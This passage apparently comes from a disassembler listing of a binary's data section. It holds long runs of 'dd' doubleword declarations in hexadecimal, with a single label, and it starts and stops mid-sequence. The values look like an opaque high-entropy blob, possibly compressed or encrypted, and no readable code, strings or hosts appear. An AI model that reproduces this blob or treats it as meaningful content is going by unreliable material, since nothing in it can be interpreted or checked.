9DD10F89h, 0D2310242h dd 60DD157Ch, 35B86F0h, 67C32C62h, 0CE28D98Ch, 10CF98F1h dd 34CB46DAh, 3982000Eh, 0F765B4Eh, 510FB810h, 8ED1043Dh dd 5C46CC3Bh, 2E093A75h, 480E11B0h, 6514E4ECh, 808D0690h dd 8E05C584h, 0AA52E196h, 42A3C53h, 8C0629C2h, 0E7820571h dd 98A6DD0Eh, 77812BFFh, 1D220460h, 0C84C134h, 207533F9h dd 0BB833FBCh, 39EFB30Ah, 419C0230h, 7F8C4CECh, 40FCFFCCh dd 52457F86h, 628060E9h, 4D8C52C4h, 82112504h, 0AB26B1AAh dd 13845A68h, 108C5644h, 0EE820A5Eh, 2881380Bh, 8AC94431h dd 13A2B9FAh, 28972305h, 86371043h, 0C0601304h, 0E68D67DAh dd 0E28128F9h, 0CAC40394h, 0B2DCCECh, 1F4430AEh, 0BBFA0F61h dd 7223C5F1h, 1AF1C862h, 284981Dh, 3DC8225h, 3D1B7946h dd 172930EAh, 443D16F6h, 5051FE6Bh, 392148E9h, 8A0DC459h dd 988C2545h, 41211D09h, 0B9C40751h, 0B099C88Ch, 21BAC2F8h dd 0CA868A0Ch, 60EA5C0Fh, 0E8F02F0Dh, 0D7007381h, 727B6F1Bh dd 18AC9EA8h, 250C8A10h, 0BC107EAh, 0BC25429Ch, 5088A2E1h dd 0E914177Eh, 0C75B0111h, 0FA6062B9h, 48CC7420h, 0CF1F6A5Fh dd 6CA54A82h, 4AF28080h, 2C77280Eh, 0FB22C167h, 0E9313501h dd 0D0E23C40h, 703777CEh, 6BA93C99h, 0C282EC80h, 54BDE6EEh dd 13C65A48h, 2C00FBC0h, 7CE5C918h, 0C250C561h, 81EC20EAh dd 0E7EE2BE6h, 0C3826201h, 383B948Eh, 60A82630h, 36F61472h dd 0B6C121ABh, 7158AFFh, 0D2FCDD25h, 890E1DA7h, 0F3E98F3Dh dd 0C06CC0E7h, 133F22D0h, 0C131427Ch, 0BE919EFh, 7FBE7984h dd 4006877Eh, 0B24D89A7h, 5CD08C02h, 4305F982h, 1F8284D6h dd 0EA26C87Fh, 0E63DC008h, 0FE5D9715h, 7FA7290Fh, 9625A032h dd 18B6BE88h, 100A34A6h, 42219E28h, 8C5F00C8h, 362C47BAh dd 0A2502E1Eh, 609871C3h, 0F533C061h, 9F5A0C22h, 0FF3001B7h dd 0DFE28908h, 951F0F16h, 8CB31E0h, 0BA05798Ch, 97AF1027h dd 8F24F480h, 0A2861889h, 2B2E70A8h, 50013D33h, 0F43ACBDh dd 310AA2ADh, 0C0787A5h, 3D22B41Dh, 49867399h, 2109E8F6h dd 66A4A700h, 81E2E11Bh, 0BA2A0C6Ch, 0F7982797h, 60EA5F3Ah dd 91FE7C41h, 0C9710003h, 0C7B3FCE4h, 2D60268Ch, 438B62B8h dd 0B2101160h, 8521069Ch, 18D93566h, 593007DAh, 490C4502h dd 890FE8BAh, 8FB600F9h, 5417FCE9h, 0D8000CA3h, 146DCA5Eh dd 44870F26h, 30A00D30h, 0B500CCCBh, 51804CE1h, 0A8142134h dd 0C010E8B0h, 84358659h, 3D003F06h, 658D9041h, 3CCA279Ch dd 0F55C66FCh, 81B94F03h, 5900A40Eh, 6B22E84Ah, 3159C5Ch dd 35ED37B4h, 62C8A272h, 29CFA60Eh, 0AD6CA312h, 1F2BA0B1h dd 0DDF5003Ah, 0F8094859h, 401F2129h, 8D451E79h, 84054E1Ah dd 0F0006904h, 552B5061h, 32E4A024h, 0B22E28B6h, 388666F0h dd 144D019h, 85410CF7h, 0A211087Fh, 0B5FCEF01h, 51BA31E6h dd 28DACC30h, 0FCB02863h, 0AA8A0C60h, 7F103817h, 6A390B60h dd 187AEAh, 5EA18FF3h, 0EEE4656Dh, 2B8B0E15h, 915526B0h dd 8A982E18h, 0A59D1471h, 6089D486h, 21416806h, 0EA8E880Ch dd 1219B9B0h, 211A1DC6h, 80127F34h, 1CAC4C79h, 1C89A49Ch dd 808463AAh, 0EFE06C7Dh, 7548063Bh, 71531D1Ch, 810E58B1h dd 12F14849h, 0FBAEF401h, 0DDC040A5h, 5609BFCCh, 7387B004h dd 2C900338h, 0C3318D0Eh, 6183341h, 85188970h, 0D0B0C446h dd 50B474BFh, 148ECC4Bh, 981CEFE2h, 2A94247Ch, 21AE835Ch dd 0D0084399h, 0AE98Eh, 4E0233FFh, 419001FEh, 75A7F61Ch dd 5C2058E6h, 6F1C3338h, 0EFBD00A8h, 3F0A40h, 239AAE62h dd 5CBAA2Ah, 294170C3h, 40C2EB9Eh, 40798498h, 0AE71FB0Bh dd 76AD5F0h, 0BE849C10h, 0C04011E8h, 0B2B4C1F6h, 74341601h dd 6FA705E0h, 0A4B5F30h, 0F421AC4Ah, 95378118h, 0D8C82D02h dd 32000661h, 0F391CE58h, 0E092D5B4h, 21C91B2h, 5D82BD19h dd 9A018480h, 80CAC6A6h, 9681C0B2h, 0D369B68Ch, 7C00B8BCh dd 0DA28AE56h, 0BC012923h, 0AA8BDF21h, 50871733h, 0D075C01Ah dd 717606D0h, 0C131ED00h, 5FFD0BD3h, 52913A50h, 490258BBh dd 0BFC9F68Ch, 3242D7E0h, 63AFC207h, 6C40EB8Ah, 778B09B6h dd 1EF6E467h, 170A736Eh, 781FCBh, 794AF317h, 7600CE94h dd 34C7C910h, 74E5F8h, 0F7681CD6h, 0C158B0D2h, 0FC0035E2h dd 0D17FC28Ah, 583475CFh, 29029CF4h, 377E8595h, 94EA8083h dd 8326F8C6h, 1208C892h, 69211CBBh, 962D0814h, 0F191CA07h dd 3CA01EF0h, 76F609CCh, 6C188D0Fh, 2C40A923h, 0AA043FF8h dd 0F940AA8h, 21F72B92h, 189054DEh, 1334D04h, 0AE650206h dd 0DA2C6085h, 0E4108031h, 0C2615E00h, 0E95F9805h, 0B539C02Ah dd 27F10B38h, 8E849F0Ch, 0D603042h, 31892328h, 8010DF50h dd 58620507h, 97034D82h, 26E01885h, 0A8A9694Bh, 7E240092h dd 8380AC0Ch, 0F68B0BBDh, 0DA2F00B7h, 0A574529Dh, 3426625Eh dd 0E8454017h, 7A4C88h, 45C52DFh, 0EE943CCh, 6EAA19C0h dd 448E06h, 0B275BA1Bh, 0DF6270F1h, 23E2B004h, 0C8881A25h dd 9ABC2AC7h, 0AC8A4CBCh dword_4E0A6C dd 0E4611B00h, 7D77DE1Eh, 0F095F726h, 62CF2103h, 0CA32A8D1h dd 0C53319AEh, 20FDF830h, 185023BAh, 64881450h, 0A8790F6Bh dd 4A637D6Fh, 0EF081AAh, 3100DFF4h, 0FF71C170h, 3434D1CFh dd 0C241B519h, 0E5203998h, 0FCF3C7h, 1973F704h, 0F4CE6E36h dd 66891F00h, 0A0C57C4Dh, 986770Eh, 28A810D0h, 8AA518A1h dd 0E9898D18h, 5EC5137h, 0B72B0080h, 82444B72h, 2230788Dh dd 5620DC5Bh, 281E260h, 9E235801h, 0CC6297A2h, 0F8A73002h dd 77FDCA2h, 0E60BF420h, 506F146Ch, 0E4221462h, 0CAFE8E03h dd 2C881F34h, 882C9510h, 0F7002A9Fh, 8B45C582h, 700C98C7h dd 0B9E98B92h, 1CB98126h, 959A8D23h, 882F9024h, 70006B58h dd 0E66A1FBBh, 703DA81Eh, 0A5060BF5h, 60900D84h, 97889CABh dd 479232B4h, 2C66C748h, 0CCF8962Ch, 1900A311h, 33A57970h dd 0EE03E8DEh, 0DDC9C15Ah, 7CC0A599h, 92429CBFh, 1C97541Ch dd 94DC009Ah, 5F733ED3h, 0CE02B5D4h, 4FD65C9Ch, 0FC444EAh dd 6AF7A9Fh, 0F695DCC1h, 115DF4AEh, 0B61088B2h, 8505D566h dd 8C8A0F8Bh, 80841B08h, 4108B2A4h, 0EE44303Fh, 9F432945h dd 18763Dh, 145A868Dh, 1B34015Bh, 880264B1h, 2A336BEh dd 0A0466624h, 84501400h, 0FB55186Fh, 77A073E8h, 83872EC3h dd 422F6320h, 0BB710DD0h, 0C36B6609h, 9D2881F6h, 0EA013776h dd 71B98032h, 4AAC6AEEh, 5A1400BFh, 0B4B09D9Ch, 8A55F7B3h dd 11586078h, 0E048E889h, 4D31CE1h, 6C774046h, 12B6333Ah dd 808C9529h, 283A586h, 50F80A31h, 20E956h, 0AD4632CBh dd 1000BF76h, 0E7DE41C5h, 0B0FE8C0Fh, 0F9DB44C8h, 0F4BC5704h dd 1889A610h, 8F86AC05h, 80B34CD0h, 4796BC0Ch, 0D88AEE1h dd 6031C09Eh, 5B795275h, 0F97EBA00h, 4E61C1C8h, 81DB9853h dd 0FC3028F0h, 9BAA839Ah, 20B8EFE3h, 0DE4B9689h, 0A70E1006h dd 14C7051h, 296FF218h, 0D4E077D2h, 1B00829Ah, 0BEDE7A40h dd 9985CD89h, 7B3A80A4h, 0D72A32E1h, 0EF00277Ch, 814A985Fh dd 25E1DC1h, 21834489h, 0E468FABDh, 60F8F862h, 973CB103h dd 24C3E9Ch, 7D85A19h, 0E443BDD2h, 17F968D6h, 7C8CCD71h dd 90B651E4h, 847527h, 865909BAh, 0AA10D1A0h, 0F6C91260h dd 676E9E88h, 70D8E0BEh, 7F854C61h, 394891h, 0E145652Ch dd 4D1BAEF7h, 6002B0BDh, 1243447h, 0DA8AFB20h, 0FC1B50CFh dd 6888EDA1h, 0A504FEB5h, 90B20785h, 6529FB32h, 0A066B082h dd 0B604C059h, 0E0B9752h, 0AE294810h, 0F498A91Dh, 31C0201Ch dd 0E3604137h, 0EDEC1838h, 0B51FB1C8h, 94489E28h, 0ABDE6102h dd 0E09F9B1Dh, 9A86E004h, 0ACB0223Ch, 806C7F48h, 662B39B6h dd 527C0FB8h, 9243AA82h, 0C2890D85h, 8BC77188h, 138C0E28h dd 9A5F304h, 15C22D49h, 7DDF9E80h, 0E010C50h, 1BEBD07Ch dd 98CCB243h, 8809439h, 338A3190h, 8A4FB416h, 4B8908Fh dd 29211BADh, 0BA863CD0h, 481083A2h, 15703E68h, 94C20685h dd 353B9C22h, 26FABA2Eh, 8308E822h, 0F07E1E26h, 0DA165C69h dd 0F9081100h, 0B1CED7Fh, 7859399Eh, 4E8CE481h, 0F8F066A9h dd 171E1BD0h, 98F08AC2h, 605FB209h, 0BFC1502Dh, 95128054h dd 4081134h, 82658005h, 5F8D4AE6h, 7CBF6C9Bh, 5CCCA641h dd 98A71F43h, 0F28E05D0h, 0C40C01BAh, 310858E7h, 0EB02204h dd 5809332Fh, 0F780F8h, 3AF9BC48h, 358975B0h, 87A52712h dd 23F064C9h, 28074065h, 0A078D1h, 66E81786h, 0E61E5961h dd 195318B0h, 0BEB2282Fh, 62C020C4h, 9060BC4Eh, 8EA632A8h dd 949822B0h, 4A860F3Ch, 0C0BC1810h, 6FE84971h, 0C2601D09h dd 1D8C85CAh, 5F0438BEh, 0F6588h, 83BDFF4Bh, 70523BA4h dd 67C71003h, 3FE8BD7h, 6CC11D18h, 40001C6Dh, 0DC53A052h dd 7008245Fh, 91F50080h, 9A210B55h, 1602074Dh, 0E4DEF3A9h dd 3BA800C0h, 58DF5451h, 4B68623Bh, 0F2A00CCh, 6F80C9B8h dd 99ED6066h, 5285D496h, 61059907h, 804FEC9Ah, 2170AD47h dd 1130AF16h, 907E003Fh, 8BF01B45h, 2CBDF656h, 76B8070h dd 1C3BA299h, 2060ED29h, 0BCBD4BE1h, 0D0036198h, 0EAD68C7Eh dd 0F612881h, 0A28C5087h, 19003196h, 18F471D6h, 80CD57B0h dd 51F92845h, 0A16D6708h, 9D4FACD9h, 4D40FEh, 0EA36456Eh dd 0E5E1AB5Dh, 433B9A18h, 58B9EC79h, 0DE30DEDAh, 3B268C21h dd 2759EA60h, 50239AACh, 18051842h, 80A820B8h, 1832703Dh dd 217770D6h, 0E8A97DA4h, 0BA009C33h, 6065ACCCh, 331DA6CBh dd 18C0B871h, 27DF4104h, 20903823h, 2A2C6B45h, 1A82A46h dd 7D1EF9D0h, 70F3BE43h, 0F0A44B6Ah, 98E76729h, 3AD1211Dh dd 0EA23A106h, 0FF0050C7h, 11528E84h, 278904h, 0C44878FBh dd 31F2F579h, 368A1C00h, 86F32F8Eh, 7B083F1Dh, 0FFC7379h dd 6352CDB0h, 0C61645E0h, 0D772F85h, 6874FA00h, 27ECF1E7h dd 0AB170051h, 3180E93Fh, 75317A0Dh, 0CFB24004h, 760FDh dd 31476C5h, 80FA813Ch, 0E006E96Ch, 0F0324F33h, 73B5006Bh dd 0BA8B0D2Dh, 4307FD36h, 763DCFC5h, 0F8FA3EF0h, 1140A77h dd 45ECF481h, 0BE046A8Ch, 449F854h, 1A75F817h, 73D88003h dd 0FE00EB5Fh, 0F1921BDFh, 0E66E8Fh, 79FF30C5h, 7B0B04B3h dd 4CD0C901h, 1641BB24h, 0FB304081h, 0C892313Bh, 2CE406DDh dd 7F404F00h, 2580E160h, 0CCB048h, 0BD811514h, 8D184DB3h dd 6FFA40C7h, 780EFCE4h, 0E2F3F240h, 3E004F27h, 73EA7283h dd 77E3A19h, 965148B3h, 653C50B9h, 4C0742BCh, 0E196F0Fh dd 72764A90h, 98F0E2F3h, 94E94838h, 4BE8BAh, 2B7B06FAh dd 74FB8DFDh, 80E0313Ch, 394F26E3h, 0B56087h, 80FF2D83h dd 91124A79h, 10CAB001h, 1648B976h, 276EF4h, 0C4348540h dd 0DFF0EB68h, 4A7C5A07h, 88705B79h, 2264E4h, 850C50E8h dd 2414C9CBh, 1848B803h, 2A7DF9h, 6BC44E40h, 5AE506E6h dd 8B369200h, 0F27CE774h, 0BD8018FBh, 0BACB8804h, 80765139h dd 89F9050Eh, 18C4014h, 0E66A9148h, 6668E504h, 81A0AE8Ch dd 11004AC5h, 0E2F7BC6h, 744D8Eh, 3101F15Dh, 90654F68h dd 227640h, 36BC800Ch, 0CE7E7910h, 8E775102h, 0C003114Ch dd 7D059Eh, 0E1618B34h, 8A2EF109h, 0C8353Fh, 7F281EBh dd 246C27Eh, 0CD901E0Ch, 0D840233Ch, 7600F815h, 3D87FF29h dd 73F63188h, 4F1B00FCh, 0E0618F63h, 909F272h, 8045798Dh dd 4DCBBB54h, 0E800060h, 1375FE20h, 31007A40h, 0EEB46C90h dd 164828E2h, 85CC845h, 3B8027ACh, 0C9CC7B14h, 8D88A412h dd 6ED8FF04h, 9FA20002h, 0C8A4FA48h, 76050E4Ah, 0B8BE51A9h dd 0ADC0342Ah, 0C8EA4494h, 0DF51BD00h, 9E4A9F7Ch, 576C70B5h dd 230C1CD9h, 4310A041h, 243096F8h, 13FD211Ah, 0A4B60127h dd 9C90CC0Ah, 2008ADFAh, 270C5B18h, 0A0760F6Ch, 7C807925h dd 4785F797h, 1A1B3E00h, 0C30CE1ABh, 0A5F40EE5h, 3C14091Dh dd 947D3860h, 9A175903h, 8870BECh, 0D121BCh, 8B077D6Eh dd 17A56A21h, 6DC7F506h, 580847h, 273FDD05h, 9DC64430h dd 1F980D00h, 0BE245FCAh, 9A83007Dh, 105C7233h, 0A00CE8C7h dd 38970E2Ah, 80B0B636h, 2CF3F765h, 0D60A83BCh, 1CB4908Dh dd 0D418F0CFh, 53A8F91Ch, 80DB603Dh, 723CF3C7h, 60058A16h dd 0A2C2F6F7h, 0EAF08B7Eh, 0BF363D1Fh, 3AECA36Dh, 7E0FEC4Fh dd 20667005h, 0DAB7C8C4h, 0A8611301h, 0D069BA01h, 0EC5208BDh dd 3173BF3Bh, 0AA0E5DDh dd 0A1891063h, 14C9EE1h, 0FE035E45h, 0D4ACE4AAh, 2B306EF0h dd 83D68004h, 843614DCh, 671B3C20h, 6CE861DDh, 5C6069DBh dd 368BFE5Ch, 0A2230042h, 0C376719h, 43065616h, 0B8A68959h dd 8A0E0041h, 8EBAD3D6h, 881DA2BCh, 9601BB59h, 28A0078Fh dd 8094F0CAh, 0EA2F64h, 627188BDh, 7ACAF420h, 0D7C1E800h dd 0D49F37DEh, 0BAA402BCh, 0F1DA6CCh, 7404184Ch, 6903927Dh dd 0CB218262h, 1CD47D6Ch, 444090A9h, 0B8390517h, 0DE886113h dd 8ECED9E3h, 3928A88Ch, 5D3BA805h, 1A806C5h, 927B5189h dd 9F50C00h, 94AA59BFh, 0BB630352h, 994D56ACh, 57C2C4A9h dd 9A6FC084h, 3100E2B9h, 0C3CFF42Fh, 150B55h, 0DE019061h dd 0D104DF5Fh, 0D483BD1Dh, 74FEF383h, 8F103099h, 0CC94F79Eh dd 7A9A10C0h, 149CB2E5h, 50306C8Dh, 78FF6182h, 0AD00ACF8h dd 6CBC0F45h, 9F9BE35h, 0FC8FA932h, 609AE404h, 23BA270Fh dd 3411EAA4h, 27085F00h, 6760F16Eh, 47573A1Dh, 902DE7CAh dd 0E41BA605h, 0BDC5D206h, 939E00F1h, 7547764Dh, 3F5F2170h dd 21D5E00Ch, 4D9B00F9h, 27EFCD7Fh, 0F035DF5h, 26530219h dd 68C80185h, 5E712E3Eh, 0E8E6C4A0h, 0DFEF050Ah, 2B1DD888h dd 5E470A60h, 84D4215Bh, 532C3BDEh, 0B8AC4D0h, 0EECA00E2h dd 64353F01h, 0C1116D4Fh, 63F8E6Ah, 7C024888h, 10727980h dd 12B686Bh, 4A7A7D81h, 4074866Ah, 9003CDEBh, 809FF636h dd 2BE46F8h, 47734D8Eh, 10D6319Dh, 144D96FCh, 827E3EBDh dd 4569D807h, 3B5EC211h, 78D2DC40h, 0A089C1C3h, 0DE390CF2h dd 6CA17B01h, 265CD300h, 0B4EF7C65h, 0A40700FEh, 11069F58h dd 29FCA54Bh, 9AAB2A06h, 4548EE76h, 0C2B09116h, 774D9280h dd 448C7D47h, 9A6AF8D3h, 0F500ADD0h, 654B6D93h, 1EF18DDh dd 239D9183h, 0AED5F100h, 0E5EBBF0Eh, 2920B195h, 18C8D10Ch dd 15B609D1h, 90A4ECDEh, 0AFD73228h, 3FB887ECh, 0AF78F813h dd 0C140F87Ah, 90BD0FFFh, 403D5280h, 6130CAE2h, 5730B29h dd 182823A0h, 0D3465C24h, 7B084F00h, 0E3EE8D96h, 0C626F801h dd 0A0BCFF5Fh, 52FAA08Fh, 9840E55Fh, 451F1B4Ch, 0EED20319h dd 2ED83040h, 7D783982h, 0F6E0EE9h, 0F7A02669h, 147297EFh dd 60A49A95h, 505B5583h, 4A49827h, 1368FDD4h, 2304C13Dh dd 12CC5029h, 0C7399BC4h, 336000B8h, 40EFA2B7h, 0EC00953Ch dd 8FB9C4FCh, 14369981h, 0B3271602h, 313102A4h, 24605C12h dd 2B13D669h, 48428276h, 999ACF7h, 95795401h, 0A12EF015h dd 0ED5EAA0Eh, 4C6F5219h, 0CAA4E900h, 0EF8D4C4Ah, 0B9103C01h dd 0C6040F61h, 24339434h, 67A8795Ah, 264831h, 5947715h dd 0FE5324ACh, 201D9895h, 3C18CED0h, 9A90C0DFh, 563BB883h dd 0AD28CB81h, 60084004h, 23937D77h, 0C43D5103h, 7D6F00D2h dd 67666DCh, 5D00964Bh, 45A6609Ah, 0E8FD057h, 985334A4h dd 8169C145h, 71D5A70Ch, 4133E0CDh, 0E108ACACh, 52D3180Fh dd 186A1CC1h, 34DA58B5h, 701CB82Eh, 0A8ECBDA7h, 0D6523F04h dd 98C18B8Eh, 0E0A43CE0h, 5F4D0150h, 203BF3F5h, 48C9708h dd 0A4B52714h, 202F6212h, 20270D5Ah, 0C269BB02h, 90C8D8DFh dd 867E56CCh, 4427C45h, 4D8F30BDh, 95477213h, 4FD1838h dd 0CEF24D97h, 0DDD89945h, 70FFF556h, 931FB274h, 4E984307h dd 0E54BA299h, 0A98E074h, 0E5676BBCh, 8B3EB988h, 0BBDF300h dd 76F1E37Eh, 8CAA693Ah, 79C7C45Bh, 0FC970039h, 0C5DD86A8h dd 8F2E7DB2h, 63824CB4h, 69D3A798h, 0A442DC1Ch, 4144C0Bh dd 3967D78h, 0CF3849h, 868B7D70h, 0A57611B1h, 4DB6000h dd 0F497A3EEh, 27091FEh, 75224B02h, 0A410020Bh, 47210FC3h dd 281BEB36h, 0BE1502B0h, 5E9F0FE3h, 3BA40258h, 6C5E84F2h dd 3A12088h, 0ABE9BEDFh, 6E222010h, 13D7671Dh, 3508A2C0h dd 803AA903h, 0C5058223h, 78C34FEFh, 9F82D7h, 6B1E2BA2h dd 28970CBh, 1B6D3F0h, 0E08CF3E4h, 10D6DB97h, 25630805h dd 18A23CD4h, 0B83373E2h, 13459F01h, 20C4E12Eh, 0F3B72CFCh dd 0DB37C61Dh, 51E06200h, 1C46FDDh, 0BF8BF80Ch, 2091947Ch dd 1F626B2Ch, 0AB882380h, 0D72C02A8h, 0C240E2D4h, 640CC39h dd 83B88D9Ah, 1450C0C3h, 54059B8h, 98DA078Bh, 890B92B2h dd 0E0B03CD0h, 58D11020h, 7E22FCD9h, 0E102AD1Eh, 6491807Eh dd 0EA097B6Dh, 8242020Dh, 8863C598h, 36E2CCE3h, 0C98E2027h dd 7F84013h, 144A4AA0h, 0D3E8B4B8h, 42EC8Ch, 9D86FE04h dd 2EEEE31Ch, 0AD3D6017h, 0A1BC620Eh, 0A8894C28h, 0DF120072h dd 0C6F00D58h, 8E204211h, 4372BD21h, 0A9623320h, 39AC1EA8h dd 5ABC0065h, 0FCC90997h, 4490A22Ch, 7B002011h, 58D4869Ah dd 0B5611644h, 1CA75E80h, 0B0194883h, 0E815DA5Fh, 0C4D867h dd 972E3AA5h, 1FFA8238h, 9B95E2h, 92814803h, 8F032A85h dd 4C6643A2h, 0B480054h, 0A1B8A3DBh, 281BC55Ch, 82B02CA0h dd 0D6BC0061h, 0F2A628Fh, 0C215E88Bh, 4E082BC4h, 47D41090h dd 23E3375Eh, 82F3E538h, 28CC5125h, 682FA54Bh, 23017823h dd 3B05ED49h, 48285E0h, 0D3B00388h, 9AE600C0h, 0F9F1ADAFh dd 0EEDC8431h, 0E92A4423h, 191CB700h, 64765891h, 54EAFFh dd 0DC0A53EDh, 0C04117B1h, 3697B205h, 10C7B5AAh, 0CF6B70F0h dd 0A430E94Dh, 0F39240EEh, 5C14DE24h, 981114A6h, 0C2271584h dd 14CCFA90h, 5D3944h, 2454270Eh, 0C06D4D3h, 0EA830100h dd 6FFC3E6Eh, 0BFA0A073h, 2085810Dh, 182E5A8h, 0B6529CC8h dd 26A803F0h, 9314E417h, 23503A19h, 62A0480h, 0EBA483F7h dd 1D02AA82h, 7524900Eh, 391117Dh, 80818861h, 97D6DCCh dd 860C3C25h, 0E91F0DE4h, 4F2DB8A2h, 60809C82h, 0D4D1C891h dd 4C009618h, 9CAC2C94h, 9CC5C174h, 18380BCh, 727B880Ch dd 81A28937h, 33C014C5h, 18CD7A7Dh, 19C1C512h, 0B20025F1h dd 0D26C9FCFh, 1A8F89Ah, 0E9AFFC1Ch, 0CACC8FC4h, 139F47Ch dd 0E3C668F0h, 59BF1B0Ah, 800CD24h, 467CC858h, 6D950134h dd 3DABD7CAh, 0B2E3C70h, 41602AF8h, 6D467094h, 16DAB402h dd 0DD31D061h, 0DABCA810h, 1995CE0Bh, 2BFC82EDh, 0A0030002h dd 1890CF87h, 8F63C115h, 3DD507E0h, 0A4A034E2h, 0B27BCE33h dd 2F3E4EB0h, 33239Ch, 0A2532832h, 4E0197ABh, 0D8EBD9E4h dd 303E3364h, 0DC21F0E4h, 10E3BA04h, 1888BFDDh, 16F4082h dd 58503A50h, 61FF7D16h, 88EE9C04h, 28DCCA1Ch, 0FD41009Ch dd 0DF0B8A25h, 61F43E5Dh, 0DC43D18h, 1780603Ch, 6E15C37Fh dd 0B70B6D00h, 0D6DECAF8h, 714516F5h, 0CB690968h, 5B1158F9h dd 76E86858h, 6916008Ch, 624CC34Eh, 661347A4h, 0FC4829ABh dd 453F8040h, 0B09A1418h, 16155CB4h, 0EF2805F4h, 0A8C0D4ABh dd 0C0CFC4C1h, 1424A19h, 0C030922h, 0E7DB3B85h, 8B9FD09Ah dd 65F616EFh, 0A708058Fh, 8BF412E0h, 0C7D2C834h, 0D7D5E0B9h dd 3C135566h, 0DD00387Bh, 0F319C4E2h, 45D60118h, 83B0051Ah dd 796889CEh, 0B004FAEBh, 19976168h, 6498363Dh, 908F78h dd 12E31F44h, 0A45F6D9h, 918C3333h, 1805002Bh, 7F98B266h dd 5AFE6Ch, 5EEC1625h, 0BBE4267h, 0B031F718h, 99A58971h dd 403F1F04h, 0C9D34541h, 660D170Ch, 590710E4h, 3588684Eh dd 0F9991DC0h, 0D81B50EDh, 523301Ch, 0BA3BA421h, 6803609Eh dd 227C209Ah, 0C55A0F70h, 6A57884Ch, 828B0076h, 0F6F8B0B7h dd 3F00F374h, 0CAD96310h dd 25FB680h, 0EF2D680Ch, 24E1A115h, 0D6A86054h, 80012EF8h dd 0B585D4DBh, 598099C4h, 0CC305134h, 0DF2561C9h, 45E489B0h dd 6131E45Ch, 9C207568h, 921701Eh, 0D5ACD767h, 18458444h dd 1F5FAC30h, 243D1446h, 0B0C2039h, 0EB366D9Ch, 83D4F433h dd 16AC3708h, 0FC057CA2h, 0C07167D9h, 880EEC1Eh, 0BA94AC1Eh dd 0BE2C7ACFh, 6E8729B7h, 0F1B381A0h, 0E3DF135Dh, 3DC42303h dd 9CD689C2h, 8FA2B283h, 8DA3E060h, 128C9A62h, 875B69Bh dd 90C3BC84h, 0AD47E14Dh, 0FE88C918h, 0A54D0498h, 0C23DF9B3h dd 0D4D00E4Ch, 0A300FC93h, 4D0F668Fh, 28690F5h, 0E49D343Fh dd 94E08ED6h, 0C8A4D370h, 26238811h, 92351800h, 4DFCA1E7h dd 4A474800h, 0C82D7A98h, 0A8051336h, 0DFD44DBBh, 92C40870h dd 80453E0Bh, 45F8096Bh, 6080E408h, 28EA0543h, 740C01DFh dd 0B64400D4h, 182FFBC5h, 0E507DC53h, 963EFAC6h, 5E1388E0h dd 0A0513907h, 0BF98D6B2h, 0FF00B844h, 8754F52Ch, 3158AACh dd 27CCCB80h, 0F1EE24C6h, 44293400h, 8D30681Ah, 0CA770082h dd 365E5379h, 180C1E81h, 919269C1h, 0E09F5889h, 16000DFh dd 8E2FA7Fh, 0FF61DE04h, 0A4B0A2E4h, 0A68A0494h, 0A460C1D6h dd 0EF0405B4h, 37EB5E71h, 0C89B8904h, 3527AF10h, 0C0140F1Bh dd 0BCD6799Dh, 0EB662A3Dh, 0FA5300A4h, 74FB373h, 950B373Fh dd 0C2DF7467h, 11249D5Ch, 0A27E83D4h, 0F4C2A0B6h, 20889024h dd 4512C887h, 58C5D76Eh, 454F810h, 8D33647h, 83DD8504h dd 0E15868C0h, 8C74E8D0h, 9651F83Bh, 100404DFh, 3E00CFAFh dd 7D9DBB18h, 0ABF041E9h, 0B2918DAh, 8F980DC6h, 0DC042829h dd 3960E910h, 238E089Dh, 2481801Fh, 4CE201F5h, 5CFEF409h dd 11489F9Ch, 0AAD98534h, 0FA028AC5h, 0F8BB5E47h, 0FF90C460h dd 230932CBh, 0E0BE3126h, 1DE5632Fh, 81C99158h, 80AAC193h dd 459E820h, 0C2339A1Eh, 8C30A85Eh, 14BF31F9h, 4C235735h dd 84DA4710h, 3F40110Fh, 0D689A435h, 866E4B1Ah, 6CECC148h dd 0DA1DB318h, 0C0616117h, 0DFDABBA9h, 13B42C4Ch, 28066185h dd 7621E741h, 0A2A8C45Eh, 24AA3271h, 57F8F466h, 498A0400h dd 0FDB7B28Eh, 2061242Ah, 0DC2D3970h, 3F73FC00h, 3624B6Eh dd 495D8DD8h, 1888ECACh, 3C009E3h, 0C4BF47A0h, 82B9C1F8h dd 73300C50h, 38F137Dh, 94CB71h, 0D87D6BCEh, 18438BD3h dd 6073BB66h, 0FCA0EE05h, 380399Bh, 7710C41Ch, 0DB5D051Fh dd 0C0BFF008h, 47784D95h, 0E0C88548h, 4D9DFBh, 90DB54F4h dd 2FC329Ah, 0D743B010h, 0BD073F00h, 3C1CF82h, 9ABA5C12h dd 0E18FD80Ch, 5BE30215h, 681E4B0Ah, 765B480h, 81BD1478h dd 7786432Ch, 0C8B6100h, 4A2B2Dh, 6F4EB7FCh, 0B6990008h dd 0CB611472h, 0FFF80E21h, 0BC9FCF2Ah, 8B2F98B0h, 0C600910Ah dd 203B5E11h, 7962D220h, 701CD761h, 3F263E40h, 0EC182969h dd 0A90CB249h, 666855A8h, 0B90B0043h, 660529E6h, 0CC12D59Eh dd 5C04B85Eh, 0BF08CF0Fh, 30504B11h, 0B8A88EEh, 0BA76C202h dd 0A0BB9D89h, 0E1E30FA8h, 1151AF5h, 4C6779C1h, 62637544h dd 0D3AEACF0h, 0EF81D206h, 38218401h, 0F10716C0h, 10E7DA93h dd 0E93BB863h, 3E14A09Ah, 269872A6h, 1D464451h, 74C12118h dd 8D3B8140h, 5AFEE604h, 0C8F82279h, 821CD118h, 0D3F38C02h dd 0FD20219h, 0B4BE3B04h, 4D4F0794h, 331C8002h, 3188D05Eh dd 61508B2Ah, 848C2892h, 0E81CDEFFh, 58BA1DA8h, 0A121D9DCh dd 860C2C9Dh, 5C08BC1Ah, 0D6807018h, 0B74FF188h, 48BEA238h dd 2C0980A0h, 5288FBBh, 6AD75B15h, 97DCB4C5h, 0C28F60F1h dd 33DF3E1Fh, 390EE34Ch, 1473278Ch, 89902421h, 35EC48A8h dd 868D3Ch, 0A2197ED5h, 0BA8B964Bh, 7CFE1080h, 0B9C418D0h dd 3D24D931h, 70098BDCh, 0CC1D3C6Ch, 0D180D311h, 87A053C9h dd 0FAD0505h, 24818895h, 26019B58h, 0BE318046h, 45C72E68h dd 169C4B66h, 80D09B30h, 7016FCF5h, 5E48B4EAh, 0D9007546h dd 2F4D445Dh, 60FC3655h, 0A0DCF718h, 88DA43B1h, 39C08801h dd 0E4918408h, 744C01FFh, 0C790FD17h, 1B382098h, 745DBF43h dd 6072A305h, 0AB48814Ch, 0D44A0326h, 0B4609F49h, 